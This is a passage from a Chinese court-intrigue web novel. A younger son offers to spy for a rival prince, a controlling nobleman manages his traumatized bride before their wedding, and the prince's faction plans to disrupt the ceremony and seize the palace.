容琅并未满足于此,他知道,仅凭父亲一时的动摇远远不够,他需要更强大的外力,也需要彻底斩断容璟的退路。 数日后,一个无月的夜晚,他乔装改扮,从睿王府的侧门悄然而入。 书房内,睿王李景恒与永嘉公主审视着这个不请自来的客人。 容琅褪下兜帽,露出与容璟三分相似却更显文弱的面容,恭敬行礼。 永嘉公主冷眼打量,睿王则目光锐利如鹰隼,并不急于开口,只是用指尖有一下没一下地敲着紫檀桌面,无形的压力在沉默中弥漫。 睿王终于开口,声音平淡,听不出喜怒:“容三公子深夜来访,所为何事?” 容琅保持着躬身的姿态,声音清晰却带着刻意压低的谦卑:“琅冒昧前来,是为向王爷与公主殿下,献上一份薄礼,亦是为自己,求一条生路。” “哦?生路?” 永嘉嗤笑一声:“你堂堂荣国公府的三公子,在嫡长兄即将迎娶美眷,风光无限之时,跑来我睿王府说什么求条生路?莫不是来消遣本宫的?” 容琅头垂得更低,语气却愈发冷静:“公主殿下明鉴,正因家兄风光无限,琅才更需为自己谋算。东宫已有家兄,他文韬武略,深得太子信重,乃是东宫不可或缺的臂助。琅若此时投向东宫,不过是锦上添花,注定永居兄长之下,仰其鼻息。太子即便用我,也多半只为制衡家兄,一旦有需,首先舍弃的也必是琅这等无足轻重之人。” 说到这里他顿了顿,微微抬眼,目光扫过睿王沉静的脸:“而王爷这里,正值用人之际。家兄是王爷与公主殿下心头大患,若能除去,对王爷大业有百利。琅不才,但身在府中,长于军营,对家兄行事习惯,父亲心思乃至府中关节,皆有所知。更关键的是——琅与家兄,利益相悖。他好,我便永无出头之日,他若有不测,父亲为保家族,势必另择继承人。一个根基不稳,需要强力外援方能坐稳世子之位的新世子,对王爷而言,岂非比那个铁板一块,无从下手的容璟,更有价值?也更......易于掌控?” 这番话说得赤裸而现实,彻底撕开了兄弟温情与家族和睦的表象,将利益冲突摆在明面。 睿王敲击桌面的手指停了下来,眼中审视意味更浓:“听起来似乎有理。但本王凭什么信你?就凭你这番空口白话?焉知这不是容璟与你父子联手设下的苦肉计,引本王入瓮?” 容琅似乎早料到有此一问,并无慌乱。 他并未取出什么惊人的密函或证据,而是缓缓从怀中取出一份看似普通的军需文书抄录,以及几张零散的,字迹不同的便笺。 “王爷明鉴,琅人微言轻,在青龙台那等地方,自然无从插手。” 他语气诚恳,带着恰到好处的自嘲与无奈:“但琅在军中效力,于京畿巡防营文书往来,部分人员调度记录处当差。此乃家兄近月以来,以世子及青龙台执令使之名,调阅,问询京畿防务相关卷宗的目录抄录,以及......几封经由非紧急渠道传递,却与边关某地将领有关的普通问询函副本。” 他将文书双手呈上:“这些本身并非机密,亦无实际内容。但王爷请看时间与频率。” 容琅指向上面的日期标注:“自家兄决意大婚之日起,此类调阅与问询,较之往常频繁了三成有余,且多集中于京中与北境几处关隘的寻常驻防,换防记录。而这几封问询函,发往的将领,虽职位不高,却皆驻守在与薛家旧部或有牵连的防区。 琅无法截获青龙台密件,但整理归档这些看似无关紧要的文书往来,正是琅职责所在。家兄行事缜密,自然不会留下把柄。但如此频繁地关注这些特定方向的琐事,结合他如今全心筹备婚事,精力分散的背景......琅斗胆揣测,家兄或许是在防备什么,或是在为婚事之后可能的风波预作铺垫。而他关注的这些点,无意中,或许会触碰到一些......王爷或薛贵妃娘娘不愿外人过多探看的旧事脉络。” 他没有说容璟在查睿王,而是暗示容璟可能在借筹备婚事的幌子,暗中加强某些方向的监控或调查,而这些方向,恰好与睿王母族的潜在利益或旧事有所关联。 “当然,” 容琅话锋一转,姿态放得更低:“这些仅是琅的妄自揣测与琐碎发现,远不足以构成证据。但琅愿以此为起点,更留心此类文书往来,留意家兄身边人员与这些方向的任何巧合接触。若将来真有非常之事,琅身处其位,或能比外人更早察觉端倪,为王爷示警。” 他递上一份潜在风险预警和持续监控服务的承诺。这既展示了他的价值又表明了他的能力边界,显得真实可信。 更重要的是,他表明了自己愿意从此刻起,充当睿王在容璟势力边缘的一双眼睛,一份活的情报筛选器。 永嘉看向睿王,眼中少了几分轻蔑,多了些思量。睿王接过那几页纸,仔细看了看,尤其是上面的日期和指向,眼神深邃。 “你很细心,容三公子。” 睿王缓缓开口,语气听不出褒贬:“也很大胆。将这些拿出来,你就不怕万一事有不谐,容璟查到是你多事?” 容琅脸上露出一丝苦涩却决绝的笑:“琅方才说了,此行是为求一条生路。在家兄阴影之下,琅永无出头之日,甚至随时可能因父亲对家兄的不满而迁怒,与其坐以待毙,不如奋力一搏。王爷,琅此举,已是将前程性命,系于王爷一念之间。若无王爷赏识,琅便真无路可走了。” 他再次强调了背水一战的决心,将自身的安危与睿王的利益进行捆绑。 睿王沉吟良久,目光在容琅卑微却难掩精明的脸上停留,又扫过那几页看似平常却暗藏玄机的纸张。 终于,他几不可察地点了点头。 “你有心了。” 他将纸张轻轻放在案上:“既如此,本王便等着看你后续的留心与发现。记住,本王不喜欢空话。” “琅明白。” 容琅深深一揖,知道这第一步,算是勉强踏出去了。 睿王看着他躬身退去的背影,忽又开口,声音不高,却带着一种承诺的分量:“你是个明白人,也该知道,本王从不会亏待真心办事的人。若你果真能让你父亲看清容璟的不堪,届时......一个听话,且需要本王扶持的荣国公世子,对本王的大业,总是有益处的。” 这话说得含蓄,却已将最大的诱饵抛了出来——事成之后,我助你上位。 容琅身形微顿,没有回头,只是将腰弯得更低些,声音里压抑着一丝颤动的激动:“王爷厚恩,琅......铭记于心,必不敢忘。” 他知道,从这一刻起,他与睿王之间,便有了一条以未来世子之位为标的的无形绳索。 他踏出的,已不仅仅是一步,而是走上了悬崖边的独木桥,后退是万丈深渊,前行,或许能抵达对岸的锦绣,但也随时可能粉身碎骨。 他没有回头,一步步退出了这间象征权势与危险的书房,重新没入夜色之中。 而睿王,则缓缓靠回椅背,对永嘉公主道:“且看看吧。这把刀虽不锋利,却或许能撬开最硬的壳。吩咐下去,以后他递来的消息,单列一档。” 一场各怀鬼胎的博弈,就此悄然落子。 容琅押上了全部身家性命,去赌一个取代兄长的未来,睿王则布下了一枚看似微小,却可能扰动整个棋局的暗子。 所有人都在等待,等待那场盛大婚礼的到来,等待平静水面被彻底打破的那一刻。 府内的风波同样未曾停歇。 安宁郡主在容璟应对朝堂压力,容琅暗中活动的这段时间里,也未曾闲着。 她先是以关怀为名,将自己身边精通药膳,不苟言笑的严嬷嬷派去了汀兰水榭,美其名曰照料未来儿媳的身体。 严嬷嬷每日定时送来汤药,记录姜于归的起居,事无巨细。 这既是监控,也是一种无声的宣告:你的事,我在看着。 然后,她偶然在后花园遇见了容琅的生母柳姨娘。 “柳姨娘,听说琅儿近来很得国公爷赏识?” 郡主倚在暖阁榻上,语气随意,目光却像冰凉的刀子,刮过柳姨娘温婉却难掩惊惶的脸。 “这府里啊,讲究个本分。有些位置,天生就定了的。桂花再香,也越不过牡丹去,更不能占了牡丹的地儿,你说是不是?” 柳姨娘脸色煞白,冷汗涔涔,只能连连称是,保证绝无非分之想。 郡主这才似笑非笑地放过她,转头却吩咐丫鬟:“告诉严嬷嬷,顾小姐的身子最是要紧,汤药饮食务必精心。毕竟是要做世子夫人的人了。” 她特意加重了世子夫人四字,既是提醒柳姨娘母子安分,也是在敲打容璟,你执意要捧上这个位置的人,我正替你好好照顾着呢。 这个儿子,她可以不爱,但不表示可以接受旁人议论容璟娶了个疯女人,以此来嘲笑羞辱她。 做完这些,郡主终于在某日下午,让人将容璟请到了自己的院子。 室内熏着昂贵的苏合香,郡主正在对镜理妆,从镜中看着走进来的儿子,语气是惯有的疏淡:“来了?坐。” 容璟依言坐下,静候母亲开口。 “你父亲这次动了真怒。” 郡主放下玉梳,转过身,目光平静地打量着他:“朝堂上的动静,你比我清楚。为了个女人,值得吗?” “母亲叫儿子来,若只为问这个,儿子告退。”容璟神色未动。 郡主轻轻一笑,那笑容里没有温度:“急什么?我不管你值不值得,但我安宁郡主的儿子,不能让人看了笑话,更不能让些不上台面的东西,趁机爬上来。” 她顿了顿,语气转为一种近乎谈生事的冷静:“我可以帮你。让你祖母暂时消停,让你父亲那边的压力缓一缓,甚至......让那对母子安分点。” 容璟抬眸,等她的但是。 “但是——” 郡主果然接了下去,伸出两根保养得宜的手指。 “第一,娶了她之后,我要尽快抱上嫡孙。必须是健康聪慧的。若她不行,你就得纳妾,不能由着你任性。第二,我城西别院的开销,还有我那几个孩子的将来,你得负责。” 这不是母爱,是赤裸裸的交易,用她身为母亲和郡主的影响力与默认,换取他未来的资源反哺和合乎期待的子嗣。 容璟听完,脸上没有任何被冒犯或感动的情緒,反而极轻的嗤笑了一声。 他缓缓开口,声音里带着一种冰冷的倦意:“母亲放心!该给您的,一分不会少。至于我的事......您还是少操些心为好。” 他站起身,走到门边,却又停下,没有回头,声音平淡得像在陈述一个与己无关的事实。 “毕竟您也知道,我从小......就没学会该怎么当儿子。” 107. 第 107 章 说罢,容璟径自离去,留下郡主对着镜中自己依旧美丽却空洞的面容,久久未动,最终,也只是极淡地,意味不明地勾了一下唇角。 而此刻的汀兰水榭,姜于归正对着严嬷嬷端上的又一碗浓黑药汁,眼神空洞。 药气苦涩,夹杂着一丝若有似无的,令人不适的甜腻。 她的手指几不可察地蜷缩了一下,一种源自身体深处本能的排斥,让她胃部微微抽搐。 但最终,在严嬷嬷毫无表情的注视下,她还是缓慢地,顺从地端起了碗。 窗外的红绸与灯笼,将喜庆的光晕投映在窗纸上,却透不进这间被药气与沉默笼罩的屋子,只有吞咽声,和笔尖划过纸张的沙沙声,记录着这场盛大婚礼背后,无声的侵蚀与驯服。 每个人都在各自的轨道上倾轧,算计,挣扎。 婚礼的吉日越近,那张被喜庆红色覆盖的网,便收得越紧。 而网中央那个眼神茫然的女子,究竟是无知无觉的祭品,还是风暴最终撕裂一切时,那枚最不可预测的变量? 无人知晓。 所有人只知道,世子容璟,正以一己之力,对抗着来自家族,朝堂乃至至亲的汹涌暗流,执意要将这场荒诞的婚礼,进行到底。 盛京的秋意一日浓过一日,空气里有了清冽的干爽,□□国公府内,却仿佛被一层无形的,越来越厚的冰壳所覆盖。 汀兰水榭成了冰壳的中心,寂静,冰冷,却又被源源不断送入的,象征喜庆的红色物件映照出一种诡异的暖色。 姜于归的精神状态,开始出现一种不祥的,细碎的波动。 那并非清晰的好与坏,而更像一面布满裂痕的镜子,偶尔会反射出几片刺目的,来自过去的真实光影,旋即又被厚重的迷雾吞噬。 触发点,常常是容璟带来的。 他会坐在她身边,耐心的,一遍遍的对她讲述他们的过往。 那些故事温柔缱绻,如同最上等的丝缎,光滑得没有一丝褶皱。 “还记得吗?去岁秋猎,你在枫林里为我抚琴,惊起了一群白鸟。”他的声音低沉悦耳,手指抚过她冰凉的手背。 姜于归的目光原本空茫地落在窗外某片落叶上,秋猎?抚琴? 听到抚琴二字,她的指尖几不可察地抽搐了一下。 不对!不是秋猎的时候抚琴?是......是聆音阁。 蒙着眼睛,陌生的手,令人作呕的审视......一股强烈的,混杂着屈辱与恐惧的寒意,猝不及防地窜过她的脊椎。 她的呼吸骤然急促,瞳孔微微收缩。 容璟立刻察觉,手指收紧,语气却更加温柔:“怎么了?是不是冷了?” 说罢,他伸手去探她的额头,指腹温热。 那点细微的异样,像投入深潭的小石子,涟漪尚未扩散,便已被他手掌的温度和专注的凝视所覆盖,抚平。 姜于归眼中那瞬间的惊悸褪去,重新变得空洞,只是身体残留着一丝僵直。 另一种波动,源于那些被送入水榭的喜庆。 绣娘送来了最终定稿的嫁衣,正红色,金线密织着繁复的鸾凤和鸣图案,华美得令人窒息。 当那沉重的锦缎展开在姜于归面前时,她仿佛被那浓烈的红色灼伤了眼睛。 不是喜悦,是......血。 铺天盖地的,粘稠的,带着铁锈味的猩红记忆碎片,不受控制地涌入脑海。 不是什么具体的画面,而是一种淹没般的窒息感和濒死的冰冷。 她猛的向后瑟缩,喉咙里发出一声短促的,压抑的抽气。 “夫人?”碧荷吓了一跳。 严嬷嬷站在一旁,不动声色地观察着,笔尖在册子上记下:“见嫁衣,色变,惊惧。” 容璟得知后,只是淡淡吩咐:“既是颜色刺眼,便在里面加一层柔软的素纱衬里,边缘用金线锁好,莫让红色直接贴肤。再告诉绣房,凤冠上的红宝石,换成夜明珠。” 他用最体贴的方式,处理着姜于归的病症,同时也将可能导致病症的源头,包裹得更加严实。 然而,最危险的波动,往往发生在无人注视的深夜。 姜于归开始断断续续地做噩梦。 梦境混乱而可怖,有时是永嘉公主那张涂着鲜红口脂,狞笑逼近的脸。 有时是谢显璋面具后那双冰冷讥诮的眼睛。 更多的时候,是禾苗被反绑着双手,在月光下无声哭泣的模样,眼泪砸在地上,却发出火焰燃烧的噼啪声。 姜于归会在深夜惊醒,冷汗涔涔,却发不出声音,只是睁大眼睛,死死盯着帐顶模糊的绣纹,仿佛那上面正上演着无声的刑戮。 守夜的碧荷有时能听到姜于归急促的呼吸和压抑的呜咽,进去查看时,却只看到夫人茫然睁着眼,仿佛刚从一场浑噩中醒来,对自己方才的恐惧毫无记忆。 严嬷嬷的记录愈发详细:“夜寐不宁,时有惊悸,醒后茫然,问之不知。” 这些细微的波动,如同冰层下暗涌的潜流,并未引起外界的警觉,反而在某种程度上,印证了容璟为她设定的病人身份。 安宁郡主看过严嬷嬷的回报,只是懒懒的嗤笑一声:“看来是真病得不轻。也好,省心。” 荣国公容修远在朝堂上步步紧逼,私下却也从柳姨娘和容琅的转述中,得知姜于归疯癫日甚,言行颠倒的消息,这反而加剧了他的反对。 一个疯子,如何能做宗妇?这更是容璟失智的铁证。 容琅则将这些病情巧妙地传递给了睿王的人。 “家兄执意大婚,然新妇神智昏乱,婚礼恐生变数。” 这为睿王阵营可能在婚礼上采取的破坏行动,提供了一个更合理的预期和掩护。 若一个疯子自己在婚礼上出了丑,或出了意外,谁又能怪到旁人头上呢? 所有人,都在根据自己看到的碎片,拼凑着姜于归的现状,并以此调整着自己的策略。 容璟把姜于归的一切异样纳入离魂之症需静养安抚的框架,用更严密的看护来应对。 而安宁郡主想法很简单,确保姜于归这个病秧子,能完成生育工具的基本职能,并记录一切可能用于将来拿捏容璟的细节。 而姜于归,就在这多方视线的聚焦与扭曲解读中,如同风暴眼里一片茫然飘荡的羽毛。 她混沌的意识深处,那些被强行压制,割裂的记忆与情感,并未消失。 姜于归本能地感到,那一片刺目的红,那即将到来的,被无数人注视的场合,像一个张开的巨口,要将她彻底吞噬,连最后一点混沌的安宁都不留下。 这日,严嬷嬷照例送来汤药,或许是连日劳累,或许是心中对这桩婚事的晦暗预感让她有些心神不宁,姜于归递药碗时,手腕几不可察的晃了一下,几滴深褐色的药汁溅出,落在了姜于归苍白的手背上。 药汁温热,却带着一股奇异的,直冲脑门的甜腥气。 那一瞬间,姜于归像是被烫到,又像是被某种遥远的,极度恐怖的气味击中,整个人剧烈地一颤!她猛地挥开手臂。 “哐当!” 药碗飞出去,砸在地上,碎裂开来,浓黑的药汁汩汩流淌。 而她则像受惊的兽,缩到榻角,双臂死死抱住自己,眼睛瞪得极大,瞳孔深处是纯粹的,未加掩饰的恐惧,死死盯着地上那摊药汁,嘴唇颤抖着,发出破碎的气音:“血......毒......不要......禾苗......痛......” 严嬷嬷愣住了,碧荷等丫鬟吓得跪倒在地。 姜于归的反应,超出了寻常惊悸的范畴。 那眼神里的恐惧太具体,太鲜活,仿佛真的看到了什么可怖的景象。而她口中无意识溢出的禾苗和痛,更是直指那晚庭院中最核心的恐惧源。 消息第一时间报到了容璟那里。 他正在书房与顾守正派来的管事最后确认婚礼流程。 听闻禀报,他面上笑容未减,温言送走客人,转身时,眼底已是一片沉郁的冰寒。 他快步走向汀兰水榭。 屋内已经清理干净,但空气中还残留着一丝药味。 姜于归依旧蜷在榻角,身体微微发抖,眼神涣散,嘴里含糊地念着什么,仔细听,仍是痛......怕...... 容璟挥手让所有人退下,包括面色有些发白的严嬷嬷。 他走到榻边,没有立刻碰她,只是静静地看了姜于归片刻。 然后,他缓缓坐下,伸出手,不是去抱她,而是轻轻握住了她冰冷僵硬,还在微微颤抖的手。 他的掌心很热,力道稳定。 “看着我,于归。” 容璟的声音不高,却带着一种奇异的穿透力。 姜于归涣散的目光,艰难的,一点点聚焦在他脸上。 “没有血,也没有毒。” 容璟一字一句,清晰而缓慢,目光紧紧锁住姜于归的眼睛,仿佛要将这些话镌刻进她混乱的识海。 “那只是药,治你病的药。禾苗很好,在家里,很安全。没有人会痛。” 他的话语像咒语,又像催眠,试图用绝对的肯定,覆盖她脑海中翻腾的恐怖幻象。 姜于归看着他,眼中的恐惧慢慢褪去一些,但迷茫和脆弱却更加深重。 她像迷路的孩子,试图从他脸上找到确认。 容璟这才将她轻轻揽入怀中,下巴抵着她的发顶,声音低柔下来,却带着不容置疑的意味:“很快,你就是我的妻子了。我会保护你,永远保护你。那些不好的事情,都忘了,嗯?” 姜于归在他怀里,身体渐渐放松,颤抖止息。 她似乎听进去了,又似乎只是被他的体温和声音暂时安抚。 但容璟的心,并未因此放松。 他察觉到,那些他以为已被彻底碾碎,埋葬的东西,似乎正在以更隐蔽,更不可控的方式,在她支离破碎的精神世界里复苏。 它们不再以清晰的记忆形式出现,而是化作了无法言说的恐惧,混乱的联想和本能的抗拒。 这很危险。 尤其是在婚礼这样一个充满象征意义,极易受到刺激的公开场合。 当夜,容璟召见了长青。 “婚礼当日的防卫,再增三成人手,尤其是夫人身边。所有接触夫人饮食,衣物,妆奁的人,一律重新筛查,由我们的人接手关键环节。” 容璟的声音在烛光下显得格外冷峻:“告诉顾大人那边,迎亲路线做两手准备。还有......府内所有可能接触过旧事,提及过不该提及之人的仆役,婚礼前后,集中调往别处,不得靠近正院。” 他必须确保,这场他倾尽所有,对抗全世界换来的婚礼,不能出任何差错。任何一点意外的刺激,都可能让怀中这个看似乖顺,实则内核已然裂变的瓷器,在最重要的时刻彻底崩碎。 而他,绝不允许。 风暴在无声地汇聚,婚礼的吉日如同磁石,吸引着所有的明枪暗箭与混乱的潜流。 姜于归那混沌意识深处不受控的波澜,或许,将成为点燃这一切的,最初的那颗火星。 而那颗火星,正在无人知晓的暗处,微弱地,持续地,闪烁着。 秋夜的风比白日更添了几分料峭,无声地掠过盛京的亭台楼阁,卷动着不同屋檐下同样暗潮汹涌的心事。 顾府后宅一处名为静萱阁的独立小院,如今成了待嫁新娘姜于归的临时居所。 与汀兰水榭的精致孤寂不同,这里更显陌生,却也因即将到来的大事而充斥着一种外来的,更为紧绷的忙碌气息。 只是那无处不在的,象征喜庆的红色绸缎与灯笼,与汀兰水榭如出一辙,映得夜色都仿佛染上了一层不祥的暖光。 顾府,静萱阁。 姜于归又一次从浑浑噩噩的浅眠中骤然惊醒。没有具体的噩梦影像,只有一种沉甸甸的,仿佛巨石压在胸口般的窒息感,让她瞬间弹坐起来,冷汗涔涔,单薄的中衣紧紧贴在冰冷的皮肤上。 窗棂外,通明的红灯笼将摇曳的光影投入室内,在她苍白失神的脸上,身上投下晃动不安的红色斑块。 那些光斑跳跃着,扭曲着,像极了记忆中某些粘稠滚烫,却永远无法摆脱的液体。 她环抱住自己,蜷缩在床角,试图抵御那无孔不入的,源自灵魂深处的恐慌。脑海中,破碎的声响与画面不受控制地翻涌,碰撞。 永嘉公主涂着鲜红口脂的讥诮嘴角,禾苗在月光下被反绑双手无声啜泣的剪影,药汁溅落时那股直冲天灵盖的甜腥气,还有容璟那双永远平静深邃,却能让她骨髓都冻结的眼睛...... 最后,所有这些混乱的感知,都坍缩凝聚成一个越来越清晰,越来越巨大的意象:明日。 那个被无数红色包裹,被无数眼睛注视,被无数窃窃私语环绕的明日,不再是一个模糊的时间概念,而像一个有实质的,华丽而狰狞的巨兽之口,正对着她,缓缓张开,吐息灼热,带着不容抗拒的吸力。 姜于归茫然地睁大眼睛,望着虚空。 在那片长久占据她意识的空洞与迷雾深处,第一次如此清晰地看到了一点东西——是穿着沉重嫁衣的自己,正身不由己地,一步步走向那张巨口。 恐惧,纯粹而原始的,源于生存本能的恐惧,像冰锥刺穿了她浑噩的外壳,带来尖锐却短暂的刺痛。 同一片月色下,城西某处隐秘宅院的地下暗室。 这里并非睿王府,而是薛家在京中一处极少启用的安全屋,如今成了丧家之犬最后的巢穴。 空气浑浊,混杂着尘土,霉味,劣质灯油的气息,以及一股浓得化不开的,属于败军之将的颓丧与暴戾。 薛重——薛贵妃的胞弟,睿王李昭琰与永嘉公主李明月的亲舅舅,此刻正像一头困在铁笼中的受伤猛虎,焦躁地来回踱步。 他身上的灰布棉袍沾着风尘与干涸的血迹,脸上新添的刀疤在昏黄跳动的油灯光下狰狞扭动。 他手中捏着一份几乎被揉烂的边报抄件,指节捏得发白。 “看清楚了!白纸黑字!” 薛重终于停下,将那份抄件狠狠拍在粗糙的木桌上,震得油灯一阵剧烈摇晃,光影乱舞。 “老头子折在北狄那群蛮子手里了!老子带出去的嫡系,活下来的十不存三!剩下的......被一个不知道从哪个石头缝里蹦出来的,姓穆的野小子收编了!朝廷答应补给的粮草军械?做梦!弹劾你李昭琰举荐无方,致丧师辱国,动摇边关的折子,明天,最迟后天,就会像雪片一样堆满你父皇的御案!” 薛重胸口剧烈起伏,布满血丝的眼睛死死瞪着坐在对面的外甥和外甥女。 李昭琰面色沉凝如水,放在膝上的手微微收紧。 永嘉公主脸色惨白如纸,华丽的宫装在此等污浊环境中显得格格不入,她指尖死死绞着一方丝帕,几乎要将它撕裂,显然,永嘉听懂了舅舅薛重还没有说出口的话! “舅舅......” 永嘉公主的声音带着颤:“乐康......我的乐康还在宫里,在皇后眼皮子底下......我们若是......皇后第一个不会放过她!父皇......父皇一向最疼母妃,疼我们,他不会真的......” “疼?李明月!你醒醒吧!” 薛重猛的打断她,声音嘶哑得像砂纸摩擦,充满了无尽的悲愤与讥讽、 “你父皇疼的,是我们薛家在北境那几万能征善战,只听薛家号令的边军!是能替他守国门,能拿来制衡东宫和朝中文官的刀!现在,老头子死了,老子废了,兵权没了!你猜,你那‘疼爱’你们母妃,‘宠爱’你和你四弟的父皇,还会多看你一眼吗?” 他喘着粗气,向前逼近一步,浑浊的眼睛里射出冰冷的光:“你想想永福!她是你亲妹妹,贵妃的心头肉!她跪着求你父皇赐婚容潜玉,哭得那般凄惨,你父皇允了吗?没有!他连一句准话都没给!还有你那个二姐,永华公主李□□!” 提到这个名字,暗室内的空气似乎都凝滞了一瞬。 薛重冷笑,语气刻毒:“那可是皇后嫡出的公主,太子的亲姐姐!为了稳固她那个太子弟弟的地位,主动请求去和亲,结果呢?死在了那蛮荒之地! 你父皇心里能不愧疚?他对皇后,对太子,那份愧疚就是一根刺,扎在他心里!他这些年表现出来对贵妃,对你们兄妹的‘宠爱’,对皇后那边的‘冷淡’,说什么因为永华死了不忍再动皇后太子怕被天下人骂......狗屁! 那都是做给外人看的!是麻痹我们薛家,麻痹朝中那些观望势力的手段!让你们觉得有希望,让太子觉得有压力,他好稳坐钓鱼台,玩他的平衡之术! 现在薛家倒了,这层沾着毒的糖,就该化成要我们命的毒药了!” 每一个字都像淬了冰的匕首,狠狠扎进李明月和李昭琰的心口。 永嘉公主身体晃了晃,扶住冰冷的石壁,指尖传来的寒意直透心底。 睿王李昭琰的脸色更加阴沉,他比永嘉更早,也更清醒地看到了父皇温情面具下的帝王心术,只是从前薛家势大,他尚可自欺,如今...... “舅舅说得对。” 睿王终于开口,声音在沉寂的暗室里显得异常冷静,却也透着一股破釜沉舟的寒意。 “父皇的平衡木,我们站在一头太久了,久到忘了另一头落下时,我们会摔得粉身碎骨。现在,不是我们想不想走下去,是有人已经抽掉了我们脚下的木板。” 他站起身,走到墙上那幅简陋得只有几条墨线勾勒的盛京示意图前,手指精准地点在代表顾府的位置,然后缓缓划向皇城中心。 “明天,容潜玉大婚,从顾府发嫁,是全城瞩目的焦点,也是他防卫体系延伸最长,看似严密实则环节最多,最易出纰漏的时候。” 他眼中寒光凛冽,如同出鞘的匕首:“皇姐,我们不能坐以待毙,这是我们的机会!你明日以道贺为名,务必进入顾府内院,带上我们最得力的人。目标不是抢人,是把水彻底搅浑!羞辱那姜氏,让婚礼乱起来,乱到所有人都看见容潜玉的无能!这是第一步,吸引目光,制造混乱。” 说罢,睿王转向薛重,语速加快,条理清晰:“舅舅,你带来的人,化整为零,混入观礼百姓,各路仆役,甚至......顾府或沿途商铺帮忙的人中。 乱起之后,立刻行动。一队在迎亲队伍必经的朱雀大街制造更大规模的骚乱,重点‘照顾’东宫属官和与容璟交好的官员车驾,另一队,趁全城注意力被婚礼和骚乱吸引,突袭青龙台。最后一队,作为奇兵,隐蔽待命,听我后续指令,目标是......宫中某些关键门户的接应。” 他没有明说逼宫二字,但薛重已然会意,眼中凶光暴涨,那是一种赌上一切的疯狂。 “那......乐康......” 李明月的声音细若游丝,带着母亲最后的本能哀鸣。 李昭琰回头看她,眼神里没有半分温情,只有残酷的现实:“阿姐,此事若成了,我便封乐康为郡主,未来做我儿子的太子妃,甚至是皇后!无人再敢拿捏。事若不成......” 他停住,未尽之言比说出口更令人绝望。 覆巢之下,岂有完卵? 他们若败,一个养在宫中,有着薛家血脉的小小县主,下场可想而知。 永嘉公主闭上了眼睛,长长的睫毛剧烈颤抖。 许久,当她再睁开时,里面属于母亲的柔软光彩已彻底湮灭,只剩下与李昭琰如出一辙的冰冷,狠绝,以及被逼到绝境后的孤注一掷。 荣国公府书房。 夜色已深,府中为明日迎亲的最后准备早已停歇,只余下一种大战前夕特有的,紧绷的寂静。 容璟并未歇息,他独自立于轩窗前,窗外庭院中悬挂的红绸在夜风中微微拂动,像无声流淌的血河。 长青如鬼魅般悄无声息地出现在他身后三步远的地方,躬身递上一封没有任何署名的密函。 信封寻常,火漆却是罕见的暗紫色,印纹模糊难辨,仿佛被刻意磨损过。 容璟接过,指尖在火漆上轻轻一触,冰凉。 他拆开封口,抽出内里一张薄笺。 笺上只有寥寥两行字,墨迹沉郁,力透纸背,字迹是陌生的,但行文间的某种节奏与锋芒,却隐隐透着一丝极难察觉的熟悉感。 他目光平静地扫过那两行字,脸上没有丝毫波澜,仿佛只是确认了一件早已预料,无关紧要的小事。 随即,他将信笺移至案头摇曳的烛火上方,火焰温柔地舔舐纸角,迅速蔓延,将那些字句吞噬,化为蜷曲的焦黑,最终成为一小撮轻灰,被他轻轻一吹,散入冰冷的空气,消失无踪。 容璟开口,声音平淡,目光仍投向窗外沉沉的夜色:“睿王与薛重那边,确定了?” 长青的声音低沉而清晰:“是!暗桩确认,薛重已秘密潜入城西旧宅,睿王与永嘉公主先后秘密前往,密谈至深夜方散。永嘉公主已命人备下明日赴顾府道贺的厚礼,规格远超常例,且随行人员名单中有几个生面孔,身手疑似军旅之人。” 容璟几不可察地牵了下唇角,那弧度冰冷,没有丝毫笑意:“穷途末路,狗急跳墙。倒也省了我再花心思逼他们。明日按预案布置,顾府内外,迎亲沿途,宫中暗线,皆需打起十二分精神。我要这场婚礼,顺顺利利,圆圆满满。” 长青应声答道:“是。顾府那边,我们的人已接管静萱阁外围及内院关键通道,夫人身边近身侍候的,也已重新筛换过。” 容璟微微颔首,不再言语。 他的目光仿佛穿透重重屋宇与夜色,落在那座陌生的静萱阁上。 阁中那个被他用尽手段才牢牢攥在手中,即将冠以他姓氏的女子,此刻是否安睡?还是如他一般,在这风暴前夕,感知到了那无声逼近的,足以撕裂一切平静的雷霆? 他不在乎姜于归是否恐惧,他只要她明日,完好无损地,名正言顺地,站在他身边,完成这场他向全世界宣告绝对拥有的仪式。 任何企图阻拦或破坏的人,无论是跳梁小丑,还是困兽犹斗,都将被他,以及他为这一刻布下的天罗地网,彻底碾碎。 夜,在各方紧绷的神经与无声的调兵遣将中,缓慢而沉重地流逝。 那簇在姜于归混沌意识中闪烁的火星,那场在薛家密室与睿王府中酝酿的孤注一掷的叛乱,还有容璟那看似平静实则已张开所有触角与獠牙的绝对掌控。 所有这一切,都在这深秋的寒夜里,向着明日那个注定被鲜血与喧嚣浸透的时辰,不可逆转地汇聚而去。 风暴的漩涡,已然成型。而漩涡最中心,便是那身不由己,却牵动着所有人命运的红妆新娘。 翌日,盛京,天光未明。 一层稀薄的,灰蓝色的晨雾笼罩着整座城池,将秋日的清冽染上几分朦胧与寒意。 但很快,这份静谧便被从各个角落升腾起的,越来越清晰的喧嚷与忙碌所打破。 今日是荣国公世子容璟大婚,娶的还是京兆尹顾守正的义女,这场因波折重重而早已传遍街头巷尾的婚事,牵动着无数人的目光与心思。 顾府,静萱阁。 天色未亮,阁内已是灯火通明。 七八个从顾府和容璟处调来的,手脚最利落的仆妇嬷嬷,早已将姜于归团团围住。 净面,梳头,开脸,上妆......一道道程序,繁琐而刻板,如同对待一件即将被呈上祭坛的珍贵祭品。 姜于归如同一个没有灵魂的精美人偶,被她们摆布着。 温热的水,冰凉的脂粉,沉重的梳篦......各种触感落在她皮肤上,却无法在她空洞的眼眸中激起丝毫涟漪。 她只是怔怔地望着铜镜中那个被一点点涂抹,装扮起来的陌生女子。 镜中人眉眼如画,肤光胜雪,唇上一点胭脂红得刺目。满头青丝被绾成繁复华丽的发髻,沉重的赤金点翠凤冠缓缓戴了上去,镶嵌其上的夜明珠在灯火下流转着温润却冰冷的光泽,压得她纤细的脖颈不由自主地微微低垂。 最后,是那身嫁衣。 正红色的云锦,用金线,彩绣密织出鸾凤和鸣,百花吐艳的图案,华美绝伦,却也重得惊人。 当那层层叠叠的锦缎被披挂到她身上时,姜于归的身体几不可察地僵硬了一瞬。 红......到处都是红。 眼前是红的,余光所及是红的...... 一个嬷嬷赔着笑脸奉承:“夫人真是好模样,这身嫁衣一穿,简直像是画里走出来的仙子!” 姜于归没有反应,她的指尖,无意识的抠住了嫁衣宽大的袖口边缘,将那金线绣成的缠枝莲纹,拧得微微起皱。 阁外,隐约传来前院渐渐高涨的喧哗声,那是各方宾客陆续抵达。 